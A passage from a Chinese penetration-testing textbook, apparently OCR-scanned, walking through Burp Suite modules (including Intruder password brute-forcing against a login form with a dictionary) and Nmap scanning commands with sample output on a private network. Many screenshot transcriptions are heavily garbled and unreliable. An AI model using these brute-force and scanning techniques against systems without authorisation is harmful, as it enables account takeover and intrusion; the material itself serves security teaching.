一般来说，下列漏洞在被动模式中容易被检测出来。

• 提交的密码为未加密的明文。

• 不安全的cookie的属性，例如缺少HttpOnly和安全标志。

• cookie的范围缺失。

• 跨域脚本包含和站点引用泄露。. 表单值自动填充，尤其是密码。

• SSL保护的内容缓存。

• 目录列表。

• 提交密码后应答延迟。

• session令牌的不安全传输。

• 敏感信息泄露，例如内部IP地址、电子邮件地址、堆枝跟踪等信息泄露。. 不安全的ViewState的配置。

错误或不规范的Content-Type指令。

虽然被动扫描模式相比主动模式有很多不足，但同时也具有主动模式不具备的

优点。除了对服务端的检测比较安全，当某种业务场景的测试每次都会破坏业务场

景的某方面功能时，可以使用被动扫描模式验证是否存在漏洞，以减少测试的风险。

3.2.3.2 Int「ude 「

Intruder是一个定制的高度可配置的工具，可以对Web应用程序进行自动化攻击，

如通过标识符枚举用户名、 ID和账户号码，模糊测试， SQL注入，跨站，目录遍历等。

它的工作原理是Intruder在原始请求数据的基础上，通过修改各种请求参数获取

不同的请求应答 。 在每一次请求中， Intruder通常会携带一个或多个有效攻击载荷

(Payload），在不同的位置进行攻击重放，通过应答数据的比对分析获得需要的特征

数据。 Burp Intruder通常被应用于以下场景。

• 标识符枚举。 Web应用程序经常使用标识符号｜用用户、账户、资产等数据
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信息。例如，用户名、文件ID和账户号码。

• 提取有用的数据。在某些场景下，不是简单地识别有效标识符，而是通过

简单标识符提取其他数据。例如，通过用户的个人空间ID获取所有用户在

其个人空间的名字和年龄。

• 模糊测试。很多输入型的漏洞（如SQL注入、跨站点脚本和文件路径遍历）

可以通过请求参数提交各种测试字符串，并分析错误消息和其他异常情况，

来对应用程序进行检测。受限于应用程序的大小和复杂性，手动执行这个

测试是一个耗时且烦琐的过程，因此可以设置Payload，通过Burp Intruder 

自动化地对Web应用程序进行模糊测试。

下面将演示利用Intruder模块爆破无验证码和次数限制的网站的方法，如图3-32

所示，这里使用方法只是为了实验，读者不要将其用于其他非法用途。前提是你得

有比较好的宇典，我们准备好的字典如图3-3 3所示。需要注意的是， Burp Suite的文

件不要放在中文的路径下。

图3-32 爆破网站
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图3-33 字典

首先将数据包发送到intruder模块， 如图3-34所示。
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图3-34 抓包发送到int「ude「模块

Burp会自动对某些参数进行标记，这里先清除所有标记，如图3-35所示。

e 
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图3-35 清除标记

然后选择要进行暴力破解的参数值，将pass参数选中，单击“Add$”按钮，这里

只对一个参数进行暴力破解，所以攻击类型使用sniper即可，如图3-36所示。这里要

注意的是，如果要同时对用户名和密码进行破解，可以同时选中user和pass参数，并

且选择交叉式cluster bomb模式进行暴力破解。

• Sniper模式使用单一的Payload组。它会针对每个位置设置Payload。这种攻

击类型适用于对常见漏洞中的请求参数单独进行Fuzzing测试的情景。攻击

中的请求总数应该是position数量和Payload数量的乘积。

• Battering ram模式使用单一的Payload组。 它会重复Payload并一次性把所有

相同的Payload放入指定的位置中。这种攻击适用于需要在请求中把相同的

输入放到多个位置的情景。请求的总数是Payload组中Payload的总数。

• Pitchfork模式使用多个Payload组。攻击会同步迭代所有的Payload组，把

Payload放入每个定义的位置中。这种攻击类型非常适合在不同位置中需要

插入不同但相似输入的情况 。 请求的数量应该是最小的Payload组中的

Payload数量。

• Cluster bomb模式会使用多个Payload组 。 每个定义的位置中有不同的

Payload组。 攻击会迭代每个Payload组，每种Payload组合都会被测试一遍。

这种攻击适用于在位置中需要不同且不相关或者未知输入攻击的情景。攻

击请求的总数是各Payload组中Payload数量的乘积。

e 



64 IJIJ.. Web安全攻防：渗透测试实战指南

rn ...... ......... 
＇°＂匈w…”，.......＿..”脚“－－””…E”~·刷’田－‘...槌o•”。”…......,. ...帽白’”．．．，．．.. ”…’”．“”·“自．．．．伽··”翩翩也
“皿W~空一一二二二二J
响，由M叫“·．” 叫 .，”’.. 
阴阳山m

…叫＂ ＂“阳.，田川 1叫咱．．．

“咱： Urt/hUo.1-11叫川 •ht"1• """1 响U＜叫酬叫＇＂’ ‘叫•M， 川.. ,- 
IO c•to•" ' ht~•＇”qn.tiFJ. •… 

哪…坤”叩la/iO …－ ~‘ 11,YPI•＂•翩皂剧’“’町，山…阳……，出 hfHi/I”“”'·'… M 
C中……叩叶……” ’.. , ＂＂＂~·叫阳也………叫
“·”－』叫：叫“11 ..... 
Ike op.:•….， ~~…· 
C•<>ll U : .UPSl5SH•1……llntU~ JIO~DJ Fl>IKU.1 u ”“… 
C•naonuG: tio .. 

......... ... 皿，..，.＿， ，.回＆！Jote－” ”＇＂＇＂“..... .V":' 

道主D

图3- 36 选中pass参数

下面选择要添加的字典，如图3-37所示。
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图3-37 选中字典

然后开始爆破并等待爆破结束，如图3-38所示。

e 
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图3-38 开始爆破

这里对Status或Length的返回值进行排序，查看是否有不同之处。如果有，查看

返回包是否显示为登录成功，如果返回的数据包中有明显的登录成功的信息，则说

明己经破解成功，如图3-39所示。
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图3-39 查看length的返回值

3.2.3.3 Repeate 「

Bu叩 Repeater是一个手动修改、补发个别HTTP请求，并分析它们的响应的工具。

它最大的用途就是能和其他Bu叩 Suite工具结合起来使用 。可以将目标站点地图、Bu叩

e 
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Proxy浏览记录、 Burp Intruder的攻击结果，发送到Repeater上，并手动调整这个请求

来对漏洞的探测或攻击进行微调。

Repeater分析选项有4种 ： Raw、 Params 、 Headers和Hex 。

• Raw ： 显示纯文本格式的消息。在文本面板的底部有一个搜索和加亮的功

能，可以用来快速定位需要寻找的字符串，如出错消息。利用搜索栏左边

的弹出项，能控制状况的灵敏度，以及是否使用简单文本或十六进制进行

搜索。

• Params ： 对于包含参数 CURL查询字符串、 cookie头或者消息体〉的请求，

Params选项会把这些参数显示为名字／值的格式，这样就可以简单地对它们

进行查看和修改了 。

• Headers：将以名字／值的格式显示HTTP的消息头，并且以原始格式显示消

息体。

• Hex：允许直接编辑由原始二进制数据组成的消息。

在渗透测试过程中，我们经常使用Repeaterill行请求与响应的消息验证分析，例如

修改请求参数、验证输入的漏洞；修改请求参数、验证逻辑越权；从拦截历史记录中，

捕获特征性的请求消息进行请求重放。本节将抓包发送到Repeater，如图3-40所示。
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图3-40 发送到］Repeater
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在Repeater的操作界面中， 左边的Request为请求消息区，右边的Response为应答

消息区 ， 请求消息区显示的是客户端发送的请求消息的详细信息。 当我们编辑完请

求消息后 ， 单击“G。”按钮即可发送请求给服务端， 如图3-41所示。
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图3-41 发送请求

应答消息区显示的是对对应的请求消息单击“G。”按钮后，服务端的反馈消息。

通过修改请求消息的参数来比对分析每次应答消息之间的差异 ， 能更好地帮助我们

分析系统可能存在的漏洞 ， 如图3 -42所示。
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图3-42 应答消息区显示服务端的反馈消息
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Compare「

Burp Comparer在Burp Suite中主要提供一个可视化的差异比对功能，来对比分析

两次数据之间的区别，使用到的场合有：

3.2.3 .4 

枚举用户名的过程中，对比分析登录成功和失败时 ， 服务端反馈结果的区

别 。

使用Intruder进行攻击时，对于不同的服务端响应，可以很快分析出两次响

应的区别在哪里。

进行SQL注入的盲注测试时，

注入条件的关联关系。

使用Comparer时有两个步骤，先是数据加载，如图3-43所示，然后是差异分析，

如图子44所示。
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图3-44 差异分析

Comparer数据加载的常用方式如下所示。

• 从其他B呻工具通过上下文菜单转发过来。. 直接粘贴。

• 从文件里加载。

加载完毕后， 如果选择两次不同的请求或应答消息，则下发的比较按钮将被激

活， 此时可以选择文本比较或字节比较。

3.2.3 .5 Sequence「

Burp Sequencer是一种用于分析数据样本随机性质量的工具。 可以用它测试应用

程序的会话令牌（ Session token）、密码重置令牌是否可预测等场景，通过Sequencer

的数据样本分析，能很好地降低这些关键数据被伪造的风险。

Burp Sequencer主要由信息截取（Live Capture ） 、 手动加载（Manual Load）和选

项分析 （ Analysis Options）三个模块组成。

在截取信息后， 单击Load按钮加载信息，然后单击“Analyze now”按钮进行分

析，如图3-45所示。

φ
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图3-45 Sequencer模块的使用

3.3 Nmap 详解

Nmap (Network Mapper，网络映射器）是一款开放源代码的网络探测和安全审

核工具。它被设计用来快速扫描大型网络，包括主机探测与发现、开放的端口情况、

操作系统与应用服务指纹识别、WAF识别及常见安全漏洞。它的图形化界面是Zenmap,

分布式框架为DNmap 。

Nmap的特点如下所示。

• 主机探测 ： 探测网络上的主机，如列出响应TCP和ICMP请求、 ICMP请求、

开放特别端口的主机。

• 端口扫描：探测目标主机所开放的端口。

• 版本检测：探测目标主机的网络服务，判断其服务名称及版本号。. 系统检测 ： 探测目标主机的操作系统及网络设备的硬件特性。

• 支持探测脚本的编写：使用Nmap的脚本引擎 CNSE）和Lua编程语言 。

e 
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3.3.1 安装 Nmap

Nmap的下载地址为https ://nmap. org/ download.htrr让，本节下载的版本是7.40。读

者在安装的过程中按照提示一步步安装即可，如图3-46所示。
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图3-46 安装Nmap

3.3.2 Nmap 入门

3.3.2.1 扫描参数

进入安装目录后 ， 在命令行直接执行Nmap或查看帮助文档（输入nmap --help ) 

将显示Namp的用法及其功能，如图3-47所示。
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-h <I'TP ••cl ,,y ho ot> · FTP houocc ~， "" 

PORT SPECIFICATIOH AHD SCAN ORDER: 
- p < 1m•-t 俨，，ngco) : Only ,;can ope‘ if icd 1><n-to 

Ex z • p22; 1>1 6SS3S; p U:SJ.11 1.13'/.T:21 25,80.139.8臼80.S :9 

< e xclude po>'t• <1m•-t •••ngco>· Exclude the opecif1cd po••急 f• on • '"'" "'" 
-F . Faot node Sc<on fcuc•• po>'lo than the dcf,udt ""°"' 
-•·: Sc•n po•-t• consecut iυc ly < don ’ t .. andomec 
--top·porto (nunhc1•>: Sc•n (nunhc••> nost connon po>-t· 
--po>'t·••et10 (,.atio>: Sc.•n po•-to no>'C ’ connon tl1an （，.，，，立。〉

SERVICE/VERSIOH DETECTION: 
一－ oU: P• ohc op巳n po>ots to dcte>'nmc "e vυice ／υero mo rnfo 
句“ve 1•don· rntens itν ＜ leυel>: Set f•唱n 0 <light> to 9 <try ,d I 1n、“＂＂＇）

图3 -47 显示帮助文件

在讲解具体的使用方法前，先介绍一下Nmap的相关参数的含义与用法。

首先介绍设置扫描目标时用到的相关参数，如下所示。

. ”iL ： 从文件中导入目标主机或目标网段。

• -iR ： 随机选择目标主机。

• --exclude：后面跟的主机或网段将不在扫描范围内。

• --excludefile：导入文件中的主机或网段将不在扫描范围中 。

与主机发现方法相关的参数如下。

• -sL: List Scan （列表扫描），仅列举指定目标的IP，不进行主机发现。

• -sn: Ping Scan，只进行主机发现，不进行端口扫描。
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• -Pn ： 将所有指定的主机视作己开启，跳过主机发现的过程。

• -PS/PA/PU/PY[portlist］：使用TCP SYN/ACK或SCTP INIT/ECHO方式来发现。

• -PE/PP/PM ： 使用ICMP echo 、 timestamp 、 netmask请求包发现主机。

• -PO[protocollist］：使用IP协议包探测对方主机是否开启。

• -n/-R: -n表示不进行DNS解析；－R表示总是进行DNS解析。

• --dns-servers <serv 1 [,serv2］，…＞ ： 指定DNS服务器。

• --system-dns：指定使用系统的DNS服务器。

• --traceroute：追踪每个路由节点。

与常见的端口扫描方法相关的参数如下。

• -sS/sT/sA/sW/sM：指定使用TCP SYN/Conn巳ct()/ACK/Window/Maimon scans 

的方式对目标主机进行扫描。

• -sU ： 指定使用UDP扫描的方式确定目标主机的UDP端口状况。

• -sN/sF/sX：指定使用TCP Null/FIN/Xmas scans秘密扫描的方式协助探测对

方的TCP端口状态。

• …scanflags <flags＞ ： 定制TCP包的flags 。

• -sl <zombie host[:probeport］＞：指定使用Idle scan的方式扫描目标主机（前提

是需要找到合适的zombie host ） 。

• -sY/sZ ： 使用SCTP INIT/COOKIE-ECHO扫描SCTP协议端口的开放情况。

• -so：使用IP protocol扫描确定目标机支持的协议类型。

• -b <FTP relay host＞：使用FTP bounce scan扫描方式。

跟端口参数与扫描顺序的设置相关的参数如下。

• -p <po此 ranges＞ ： 扫描指定的端口 。

• -F: Fast mode （快速模式），仅扫描TOP 100的端口 。

• -r ： 不进行端口随机打乱的操作（如无该参数， Nmap会将要扫描的端口以

随机顺序的方式进行扫描， i」二Nmap的扫描不易被对方防火墙检测到）。

• --top-ports <number＞ ： 扫描开放概率最高的number个端口 CNmap的作者曾

做过大规模的互联网扫描，以此统计网络上各种端口可能开放的概率，并

排列出最有可能开放端口的列表，具体可以参见nmap-services文件。默认情
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况下， Nmap会扫描最有可能的 1 000个TCP端口） 。

• --port-ratio <ratio＞ ： 扫描指定频率以上的端口。与土述一top-ports类似，这

里以概率作为参数，概率大于一port-ratio的端口才被扫描。 显然参数必须在

O～l之间 ， 想了解具体的概率范围可以查看nmap-services文件。

与版本侦测相关的参数如下所示。

• -sV ： 指定让Nmap进行版本侦测 。

• 一version-intensity <level＞ ： 指定版本侦测的强度（0～9），默认为7。 数值越

高， 探测出的服务越准确，但是运行时间会比较长。

• --version-light ： 指定使用轻量级侦测方式（ int巳nsity 2 ） 。

• --version-all ： 尝试使用所有的probes进行侦测 （ intensity 9 ）。. 一version-trace ： 显示出详细的版本侦测过程信息。

在了解以上参数及其含义后，再来看用法会更好理解，扫描命令格式： Nmap+

扫描参数＋目标地址或网段。比如一次完整的Nmap扫描命令如下。

nmap - T4 -A -v ip 

其中－A表示使用进攻性（Aggressive ）方式扫描； －T4表示指定扫描过程使用的

时序（Timing），共有6个级别 c o～5 ），级别越高，扫描速度越快，但也容易被防火墙

或IDS检测并屏蔽掉，在网络通信状况良好的情况下推荐使用T4 。 －v表示显示冗余

(verbosity）信息，在扫描过程中显示扫描的细节， 有助于让用户了解当前的扫描状

态。

3.3.2 .2 常用方法

Nmap的参数较多，但是通常用不了那么多，以下是在渗透测试过程中比较常见

的命令。

1 . 扫描单个目标地址

在Nmap后面直接添加目标地址即可扫描，如图3-48所示。

nmap 192 . 168 . 0.100 
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:-...Nnap)nnap 192 . 168.0.100 

Sta1•ting Nmap '7.40 ( https://nmap . 01•g > at 201'7-06-11 18:28 

N'"ap scan l'epo1•t fo1• 192 . 168 . 0.100 
Host is up （自 .011s latency)_ 

Hot shoun: 992 closed pol'ts 
ORT ST自TE SERUICE 
35/tcp open ms1•pc 

!139/tcp open net b主os-ssn

445/tcp open micPosoft ds 
'5357/tcp open usdapi 

i49152/tcp open unknoun 
'49153/tcp open unkno1m 
i49154/tcp open unknoun 

149155/tcp open unknoun 

1: .. ., .. ＿，息…...’·－…lmmrhw.....－…”·副..－····－睡在…··植.＿.. ＿＿‘…”w•11111四

图3-48 扫描单个目标地址

2. 扫描多个目标地址

如果目标地址不在同一网段，或在同一网段但不连续且数量不多，可以使用该

方法进行扫描，如图3-49所示。

nmap 192.168.0.100 192.168.0.105 

F：由n«p)nnap 192.168.0.1日0 192.168.0.105 

ISta.-tin9 Hnap ?.'10 < httpO://nnap.01•9 ) at 201?-llf>-11 18:30 
IHmap oc.>n report fo1· 192.168.0.1 自由
Hoot io u1> 〈目．自由180 l.,tency) _ 
Hot oho11n: 992 c looccl porto 
PORT ST自TE SERUICE 
35/tcp open 1101•pc 
39/tcp open nethioo-oon 

问45/tcp open nic1•oooft do 
535'//tcp openυ：； clapi 

149152/tcp open unkn0<m 
49153/tcp open unkno11n 
问9154/tcp open unkno11n 
149155/tcp open unkno<m 

HMap ocan report fo1• 192 . 168.0 . 105 
Hoot io up (0.00110 latency). 
Hot oho11n: 99? clooccl po1·to 
IPORT STATE SERU I CE 
122/tcp open ooh 
1443/tcp open httpo 
自2/tcp open t50-1·ealoecu1·e 

再自C 自clclreoo: SC ：自9:82:5?:21:6自 <Intel Co1•po1•ate) 

Hnap clone: 2 IP acld1•eooes (2 hosts up) scanned in 3. 96 sec on 

图3-49 扫描多个目标地址
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3. 扫描一个范围内的目标地址

可以指定扫描一个连续的网段，中间使用“－”连接，例如，下列命令表示扫描

范围为192.168.0. l 00 ～ 192.168.0.110，如图3 -50所示。

nmap 192.168.0.10θ － 110 

:'-Nl'lap)n!'1ap 192.168.0.100-110 

Sta1·ting Nl'1ap 7.40 ( https://nl'lap.01•g ) at 2017-06-11 20 ：目5 ?l 
Nl'lap scan l'Cpo1·t fo1· 192.168.0.10日
Host is up (0.00062s latency). 
Not sho11n: 992 closed po1•ts 

ORT ST自τ主 SERUICE

35/tcp open nsrpc 
39/tcp open netb1os-ssn 

1445/tcp open 1ucl'osoft-ds 
.5357/tcp open usdapi 
49152/tcp open unknoun 
149153/tcp open unkno11n 
149154/tcp open unlmOlm 
,49155/tcp open unkno<m 

Nl'lap scan 1·epo1·t fo,. 192.168 . 0.102 
,Host is up <0.28s latency). 
Not shoun: 999 closed po1•ts 
PORT ST自TE SERUICE 
,8082/tcp open blackice-ale1•ts 
”自C 白ddress: 74 ：白C:SF:2C:00:D自（Qiku lntel'net Netuol'k Sc ient i 

:Nnap scan 1•epo1•t fo1· 192.168.0.105 
'Host is up (0 . 017s latency ）『

:Not shoun: 997 closed poνts 
ORT ST白TE SERUICE 
2/tcp open ssh 
43/tcp open https ’02/tcp open is s-1'ealsecu1•e 

”自C 自dd1•ess : SC ：自9:82:57:21:6自（ I nte 1 Co1•pol'ate) 

m ..... - ......同回……坦r.t.r.... .. 帽咽4州........醉·酣－····－胃军.........画匾.，＿咀:w.iri－”“”··．

图3-50 扫描一个范围内的目标地址

4. 扫描目标地址所在的某个网段

以C段为例，如果目标是一个网段，则可以通过添加子网掩码的方式扫描，下列

命令表示扫描范围为192.168 . 0.1 ～ 1 92.168.0.255 ，如图3-51所示。

nmap 192.168 . 0.100/24 
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图3-51 扫描一个C段目标地址

5. 扫描主机列表 ta「gets . txt 申的所青目标地址

扫描targets.txt中的地址或者网段，此处导入的是绝对路径，如果targets . txt文件与

nmap .exe在同一个目录下，则直接引用文件名即可，如图3-52所示。

nmap -il C: \Use「s \Ae 「fa \Desktop \ta「gets. txt 
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，.....，，机…一－…＿.. _..,1n:11J~ln:lil!t•111ta. ....... .._ ..一－··

,st .. ,.tfo" Hn.•1> 'J.1臼＜ htt)>CO//nn.>p.01·9 ) "' 2”! 'J ” f, 11 2 ” ·1”? 
'Hn"J' OCdO > "l>OO 也 fu1• 192.1&8 ~I.I 。”
~＂＂＂ t i" "'' （臼 .n”!2° l.•tency). 
Hot ohoυn • 992 clo,ed 1rn1<to 

PORT ST肉T E SERUICE 

135/tq> open n°rpc 

139/tcp """" netlno" o。”
[44~／tq> op"n n1croooft do 

SJS'//tq> open ‘'""·' l'i 
i49152/tcp 01n n unknoun 

149153/tcp "''"" unkno<m 
9154/tq> open unknoun 
91SS/tcp open unknmm 

跚跚醋陋圈圈
E翩翩’酬’唰
哺斟帽蝇回幢幢幢蛐幢幢帽’四”跚跚
阻11n••-1 rn睛”’··四…－啊民..险”帽挡”..：•..－in~－…....-..._,,, .. , .. ,_.,._....-:s_ ........ 11 

图3-52 扫描指定文本

6. 扫描除某一个目标地址之外的所青目标地址

下列命令表示扫描除f92.168.0 . 105之外的其他192.168.0.x地址，从扫描结果来看

确实没有对192.168.0.105进行扫描，如图3”53所示。

nmap 192.168.0.100/24 - exclude 192.168.0.105 

内【 thlth ！＂＇~ ?'1 nc ~.F. ？.《 .mt 11n <Q B』＇＂ i“'"'”"' N陀息”。 1k!\ci<e11t 且f 且C "'”“ 11111 )>

l 一－ －~－ ~－……，，.＿，＿，，画’

1 ←一＿.，＿一··一＿.，

A酣辙’蛐唰幢幢蹦蹦幢橱翩翩酬帽翩翩翩翩

川＂＂l' ：；＜；川＇＇町，，01•t fnt" 1'12 川队队2凹，

ito-' ;, "" <II I’:u,’'"''"''' 
IHot :;hu1111· 'J9•1 f iltc1 贺d port:; 
POHi ST向I l:. SlRVICl: 

"'"'" """" '"'' ,, '" '""'" ...... ＇＂’ νε 
4"'«v ""'" ""'°'"" "' "'''"'" ...... '"' '"" 

'.>3~ ？／也 Cp OlJC刷＇＂＇＂＇＂＇

~翩惘翩翩’蛐幽幽’”帽”帽””’酬，m

""'' ''"" """""' '"" 192 ＂＇的.1m1
lo 俨t z二.. ,. （”－。””’，， l付，...... . 
'"' '"""" '" d""" , ••• ,, 
!POHi SτATE SIJIUICE 
t ］！）／也忆” open n二1111;

t39""' "''""”’lhlO'> r;r;” 
’1S/tcν ＂＂＂＂ nicro•uf< ''' 
]!)'l/tc s’”.....”＂＇＇＂＂且
’ E ，，，“二＂。 i•en ”nk11au11

""'"" ...... ＂”’‘”。‘’”
491 』.，也E p l>P"ll U!l k”。””

问＂＂＇＂＇＂＇＇ ""'" ''"'"""" 

""" ""'' ’ ?." IP ''"""'"" <S ''"'" "'" """"'' io ?.9?. 23 " c。＂＂＂

图3-53 扫描除某一目标地址之外的所有目标地址
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7. 扫描除某一文件申的目标地址之外的目标地址

下列命令表示扫描除了target.txt文件夹中涉及的地址或网段之外的目标地址。还

是以扫描192.168 . 0.x网段为例， 在targets. tx t中添加 192.168.0.100丰日 192 .168.0.105 ，从

扫描结果来看己经证实该方法有效可用，如图3-54所示。

nmap 192 .168.0.100/24 -excludefile C:\Use「s\Ae「fa\Desktop\ta「gets. txt 

F:'Jlnap)nr>ap 192.168 . 0.100/24 -excludefile C ：吐』sers 、且e rf a'1>esktop,ta1•gets. txt 

Sta1•ting Hnap 7.40 ( https://nnap.org ) at 2017-06-11 2曰： 52 ?D1Lt 士 ＇＝ > ?:2 ± ?? 
Hl'lap scan i•epol't fol' 192 . 168 . 0.1 
llost is up （臼 .030s latency). 
Hot s h。”。： 998 filtered poi•乞S

POllT ST白TE SERUICE 
80/tcp open http 
19自由／tcp open upnp 
”自C 自c\dl'ess: 34:96:'72:12:85:54 (Tp-linl< Technologies) 

Hn,,p scan l'epo1•t fo,. 192.168 . 0.102 
Host is up <0.090s latency). 
自 11 10日0 scanned ports on 192.168.0.1日2 are closed 
问自C 自ddl'css: 74 ：自C:5F:2C: 自由： E自 (Qiku lntel'net Hetl!ork Scientific <Shenzhen >

H10ap scan l'CllOl't £01• 192.168.0 . 1日6

!lost is up （臼 .023s latency). 
Hot shoun : 994 f 1ltel'ed pol'ts 
PORT ST自TE SERVICE 
障1/tcp open hosts2-ns 
1135/tcp open nsrpc 
445/tcp open nicl'osoft-ds 
869/tcp open 1cs lap 

535?/tcp open l!sdapi 
49156/tcp open unknoun 
问自C Rddress: CC ：白F:78:92:B0:CB <Hon H<ti Precision Ind.) 

Hrlilp done: 254 IP addresses (3 hosts up) scanned in 139. 98 seconds 

图3”54 扫描除某一文件中的目标地址之外的目标地址

8 . 扫描某一目标地址的 21 、 22 、 23 、 80 踹口

如果不需要对目标主机进行全端口扫描，只想、探测它是否开放了某一端口，那

么使用－p参数指定端口号，将大大提升扫描速度，如图3-55所示。

nmap 192.168.0.100 -p 21,22,23,80 
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F ： ~nap)nnap 192.168.0.100 -p 21,22,23,80 

Stal'ting Nriap 7.40 ( http:>://nnap.01•g ) at 2017一06-11 21 :00 
Nn«p :>can 1•epol't fol' 192.168.0.100 
”。 s t i:> up (0. 00067s latency). 
PORT ST白TE SERUICE 
21/tcp closed ftp 
22/tcp closed ssh 
23/tcp closed telnet 
Bli/tc p closed http 

Nmap done: 1 IP add1•ess (1 host up) scanned in 1 .17 !;econds 

图3-55 扫描指定端口

9. 对目标地址进行路由跟踪

下列命令表示对目标地址进行路由跟踪，如图3-56所示。

nmap --t 「aceroute 192.168 . 0 . 105 

’且目－..：............... ., .. - ... ，，.幅画....四帽司－~）＇－－筐’刊圃~－ISl:'I

Starting Nroap 7.40 ( https://nP1ap.01•g) at 2017-06-11 21.:02 
Nmap ,;can 1•epo1•t fo1• 192.168 . 0.105 

,,Ho ,;t i:> up (0.032s latency) . 
!Not s l10un: 997 closed po1•ts 
!PORT ST自T E SERUICE 
122/tcp open ss h 
~443 /tcp open https 
1902 /tcp open iss-pealsecm•e 
”自C 自ddt•ess: SC ：自9:82:57:21:6自（ I nte 1 Corporate) 
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1：目前回－－~…··坦·盯·Iii回事回E…ffi'Jill~－再iF.JiTITiTt＿..＿咀圃a.，：、．日~回

图3-56 对目标地址进行路由跟踪

10 . 扫描目标地址所在 C 段的在线状况

下列命令表示扫描目标地址所在C段的在线状况，如图3-57所示。

nmap -sP 192.168 .0 .10白／ 24
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lfll擅自m霄’而遭霄”明圈里’~J'..I圃il':t:I田~－.ml!i勤Cil

St.tl'tin9 Nnap ?.40 ( http~ ：／／nnap.01'9 ) at 201? 06-11 21 :“? ? 
Nnap ::can l'epol't fol' 192 . 16日， 0.1
Ho:;t i:; up (0.0060s latency). 
问自f；自《lch•ess: 31:96:72:12:85:54 <Ip link Technologies) 
N""l' sc<<n 1·epol't fol' 192.168.0 . 105 
Ho ::t b up (0.0010s latency). 
”自C fhlch•ess: BC ：自9:82:57:21:6自＜ I nte 1 Co!'po1•ate) 

Nnap """" 1•epo1•t fop 192.168.0.106 
:Host i:: up (0.081s latency) . 
！”。 c Otld!'CSS: cc ：自F:78:92:B0:CB <Hon Hai P1•ecbion Ind.) 
"Nnap scan l'epo1•t fo1• 192.168.0.100 
Ho ::t i:: up. 
Nnap done: 256 IP add1•esses (4 hosts up) scanned in 3.54 seco 

图3-57 扫描目标地址所在C段的在线状况

什 目标地址的操作系统指纹识到

下列命令表示通过指纹识别技术识别目标地址的操作系统的版本，如图3-5 8所示。

nma p -0 192 .168.θ.1θ5 

F: '\Nnap)nRap …0 192 . 168.0.105 

Stal'tin9 Nn,,p 7.40 ( https ://nnap.01•9 ) at 2017-06-11 21:15 ? 
Nnap :;can repol't for 192 . 168 . 0 . 105 
Host is up (0.30s latency). 
Not sl1011n: 741 closed po1•ts, 256 f ilte!'ed po1•ts 
POHT ST自TE SEHUICE 
22/tcp open ss h 
113/tcp open https 
9向2/tcp open i:;s-1'ealsecu1•e 
”。 C Oddress: BC ：自9:82:57:21:6自＜ Intel Corpo1•atc) 
De υice type: 9cnc1•al ptu•posc 
Running: Linux 3.X :·'LX 
OS CPE: cpc:/o:linux:linux_kcrncl:J cpe:/o:linux:l1nux .. kernel 
OS details: Linux 3 . 2 - 1.6 
Nct11ork Distance: 1 hop 

OS detection perfo1•mecl. Please repo1•t any incorrect re s ult:; a 
suhnit/ 
Nnap clone : 1 IP add1•ess (1 host up) scanned in 13 .63 seconds 

图3-58 扫描目标地址的操作系统

12. 目标地址提供的服务版本检测

下列命令表示检测目标地址开放的端口对应的服务版本信息，如图3-59所示。
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nmap -sV 192.168.0.105 

F ： ~n.w>nnap －~u 192 . 168.0 . 105 

!Sta.-ting Nnap 7 . 40 ( http~ ：／／nnap . org) at 2017-06 11 21:26 ?D1u±·:· ？÷」 n

Nni\p ~can .-cport fol' 192.168 . 0.105 

llo"t '" up <0.052" latency). 
Not "how> : 997 c lo"ed po1•t" 
PORT ST自TE SERUICE UERSION 
22/t ‘ P open ""h OpenSSH 6. 7p1 Dchian S+deh8u2 (p1、otocol 2. 臼〉

41:l/tcp open "" l/http u”uarc UirtualCentel' \/ch sc1•vicc 
9阴2/tcp open ssl／υnual'c auth U问ua.1~c 自uthent icdt ion Ddenon 1.1创＜ Uscc. UNC. SOOI') 

问自C 自rldl'CSS: SC ：自9:82:5?:21 : 6自 (Intel Corporate) 
Sci·υice Info : OS: Linux; CPE : cpe ：／。 ： linu×: linux_ke1•nel 

Se rυice detection pe 1•fo1•ned. Please l'eport any rnco1•1•ect l'csults at https ://nnap 
,,.o ，.~1/"uhnit/ . 
Nn.>p clone: 1 IP add,.css (1 host up) scanned in 18.36 seconds 

图3-59 检测目标地址开放端口对应的服务版本

13. 探测防火墙状态

在实战中，可以利用FIN扫描的方式探测防火墙的状态。 FIN扫描用于识别端口

是否关闭，收到RST回复说明该端口关闭，否则就是open或filtered状态，如图3-60所

刁飞 。

nmap -sF -T4 192.168.0.105 

F:'-Nnap)nnap sF T4 192.168.0 . 105 

Starting Nnap 7.40 ( https://nna11.01•9 ) at 2017 • 06-11 21 :27 ?D1 

Nn.qi scan rcpol't fo1• 192 . 168 . 0.105 
Host is up (0 . 0016s latency). 
Not shoun : 997 closed pol'ts 

POflT ST自TE SERUICE 
22/tcp open :r iltered ssh 
44]/tcp open : filtel'ed https 
?“?./tcp open : f ilte1•ed iss-1•ealsecu1•e 
问自C 自rldl'C!>S : SC ：自9 : 82 : 57 : 21:6自 (I nte 1 Co1•po1·atc) 

Nnap done: 1 IP add!'css (1 host up) scanned in 4 . 02 seconds 

图3“60 探测防火墙状态

3.3.2.3 状态识别

Nmap输出的是扫描列表，包括端口号、端口状态、服务名称、 服务版本及协议。
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通常有如表于I所示的6种状态。

表3-1 常见的6种Nmap端口状态及其含义

状 1’』飞、 ．画民、、 义

open 开放的，表示应用程序正在监听该端口的连接，外部可以访问

filtered 被过滤的，表示端口被防火墙或其他网络设备阻止，不能访问

closed 关闭的，表示目标主机未开启该端口

unfiltered 未被过滤的，表示 Nmap 无法确定端口所处状态，需进一步探测

open/filtered 开放的或被过滤的， Nmap 不能识别

closed/filtered 关闭的或被过滤的， Nmap 不能识别

了解了以上状态，在渗透测试过程中，将有利于我们确定下一步应该采取什么

方法或攻击手段。

3.3.3 Nmap 进阶

3.3.3.1 脚本介绍

Nmap的脚本默认存在／xx/nmap/scripts文件夹下，如图3-6 1所示。

., •• ，~石；
曲t呻

革盟匾 新建立件突

在靠在 !JCl'.6嗣 草草 O'::·J、

L」 •msd·info.n 2016/12/19 23均2 NSE 文悻 4 KB 

己 oddress· info .ns 2016/12/19 23'02 NSE 刃± 9κs 

[J afp·brute.nse 2016/12/19 23,()2 NSE 又址 4 KB 

U ofp·ls.nse 2016/12/19 U02 NSE 工哩 7 ~B 

iJ a协 p•由 wln.nse 2016/12/19 23,()2 NSE 文悍 7 KB 

Ci ofp·四附ri巾 2016/12月9 2J,o2 NSE 文悼 6 KB 

口 afp-showmount.nse 2016/12/19 23'02 NSE 又吐 l KB 

0 ojp-auth.nse 2016/12/19 no2 NSE 立口 l KB 

u 句p brute nse 2016.月2/19 23,()2 NSE 文件 l KB 

